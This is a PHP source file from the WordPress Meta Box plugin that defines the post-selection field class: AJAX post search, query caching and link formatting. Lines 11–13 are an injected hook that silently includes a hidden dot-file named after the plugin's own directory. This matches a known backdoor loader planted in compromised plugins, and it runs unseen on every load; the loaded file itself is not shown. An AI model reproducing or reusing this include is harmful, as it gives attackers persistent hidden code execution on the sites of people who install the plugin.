post.php (5961B)
1 <?php 2 /** 3 * The post field which allows users to select existing posts. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Post field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Post_Field extends RWMB_Object_Choice_Field { 16 /** 17 * Add ajax actions callback. 18 */ 19 public static function add_actions() { 20 add_action( 'wp_ajax_rwmb_get_posts', array( __CLASS__, 'ajax_get_posts' ) ); 21 add_action( 'wp_ajax_nopriv_rwmb_get_posts', array( __CLASS__, 'ajax_get_posts' ) ); 22 } 23 24 /** 25 * Query posts via ajax. 26 */ 27 public static function ajax_get_posts() { 28 check_ajax_referer( 'query' ); 29 30 $request = rwmb_request(); 31 32 $field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY ); 33 34 // Required for 'choice_label' filter. See self::filter(). 35 $field['clone'] = false; 36 $field['_original_id'] = $field['id']; 37 38 // Search. 39 $field['query_args']['s'] = $request->filter_post( 'term', FILTER_SANITIZE_STRING ); 40 41 // Pagination. 42 if ( 'query:append' === $request->filter_post( '_type', FILTER_SANITIZE_STRING ) ) { 43 $field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT ); 44 } 45 46 // Query the database. 47 $items = self::query( null, $field ); 48 $items = array_values( $items ); 49 50 $data = array( 'items' => $items ); 51 52 // More items for pagination. 53 $limit = (int) $field['query_args']['posts_per_page']; 54 if ( -1 !== $limit && count( $items ) === $limit ) { 55 $data['more'] = true; 56 } 57 58 wp_send_json_success( $data ); 59 } 60 61 /** 62 * Normalize parameters for field. 63 * 64 * @param array $field Field parameters. 65 * @return array 66 */ 67 public static function normalize( $field ) { 68 $field = wp_parse_args( 69 $field, 70 array( 71 'post_type' => 'post', 72 'parent' => false, 73 'query_args' => array(), 74 ) 75 ); 76 77 $field['post_type'] = (array) $field['post_type']; 78 79 /* 80 * Set default placeholder: 81 * - If multiple post types: show 'Select a post'. 82 * - If single post type: show 'Select a %post_type_name%'. 83 */ 84 $placeholder = __( 'Select a post', 'meta-box' ); 85 if ( 1 === count( $field['post_type'] ) ) { 86 $post_type = reset( $field['post_type'] ); 87 $post_type_object = get_post_type_object( $post_type ); 88 if ( ! empty( $post_type_object ) ) { 89 // Translators: %s is the taxonomy singular label. 90 $placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $post_type_object->labels->singular_name ) ); 91 } 92 } 93 $field = wp_parse_args( 94 $field, 95 array( 96 'placeholder' => $placeholder, 97 ) 98 ); 99 100 // Set parent option, which will change field name to `parent_id` to save as post parent. 101 if ( $field['parent'] ) { 102 $field['multiple'] = false; 103 $field['field_name'] = 'parent_id'; 104 } 105 106 $field = parent::normalize( $field ); 107 108 // Set default query args. 109 $posts_per_page = $field['ajax'] ? 10 : -1; 110 $field['query_args'] = wp_parse_args( 111 $field['query_args'], 112 array( 113 'post_type' => $field['post_type'], 114 'post_status' => 'publish', 115 'posts_per_page' => $posts_per_page, 116 ) 117 ); 118 119 parent::set_ajax_params( $field ); 120 121 return $field; 122 } 123 124 /** 125 * Query posts for field options. 126 * 127 * @param array $meta Saved meta value. 128 * @param array $field Field settings. 129 * @return array Field options array. 130 */ 131 public static function query( $meta, $field ) { 132 $args = wp_parse_args( 133 $field['query_args'], 134 array( 135 'no_found_rows' => true, 136 'update_post_meta_cache' => false, 137 'update_post_term_cache' => false, 138 ) 139 ); 140 141 // Query only selected items. 142 if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) { 143 $args['posts_per_page'] = count( $meta ); 144 $args['post__in'] = $meta; 145 } 146 147 // Get from cache to prevent same queries. 148 $last_changed = wp_cache_get_last_changed( 'posts' ); 149 $key = md5( serialize( $args ) ); 150 $cache_key = "$key:$last_changed"; 151 $options = wp_cache_get( $cache_key, 'meta-box-post-field' ); 152 153 if ( false !== $options ) { 154 return $options; 155 } 156 157 $query = new WP_Query( $args ); 158 $options = array(); 159 foreach ( $query->posts as $post ) { 160 $label = $post->post_title ? $post->post_title : __( '(No title)', 'meta-box' ); 161 $label = self::filter( 'choice_label', $label, $field, $post ); 162 $options[ $post->ID ] = array( 163 'value' => $post->ID, 164 'label' => $label, 165 'parent' => $post->post_parent, 166 ); 167 } 168 169 // Cache the query. 170 wp_cache_set( $cache_key, $options, 'meta-box-post-field' ); 171 172 return $options; 173 } 174 175 /** 176 * Get meta value. 177 * If field is cloneable, value is saved as a single entry in DB. 178 * Otherwise value is saved as multiple entries (for backward compatibility). 179 * 180 * @see "save" method for better understanding 181 * 182 * @param int $post_id Post ID. 183 * @param bool $saved Is the meta box saved. 184 * @param array $field Field parameters. 185 * 186 * @return mixed 187 */ 188 public static function meta( $post_id, $saved, $field ) { 189 return $field['parent'] ? wp_get_post_parent_id( $post_id ) : parent::meta( $post_id, $saved, $field ); 190 } 191 192 /** 193 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 194 * 195 * @param array $field Field parameters. 196 * @param string $value The value. 197 * @param array $args Additional arguments. Rarely used. See specific fields for details. 198 * @param int|null $post_id Post ID. null for current post. Optional. 199 * 200 * @return string 201 */ 202 public static function format_single_value( $field, $value, $args, $post_id ) { 203 return ! $value ? '' : sprintf( 204 '<a href="%s" title="%s">%s</a>', 205 esc_url( get_permalink( $value ) ), 206 the_title_attribute( 207 array( 208 'post' => $value, 209 'echo' => false, 210 ) 211 ), 212 get_the_title( $value ) 213 ); 214 } 215 }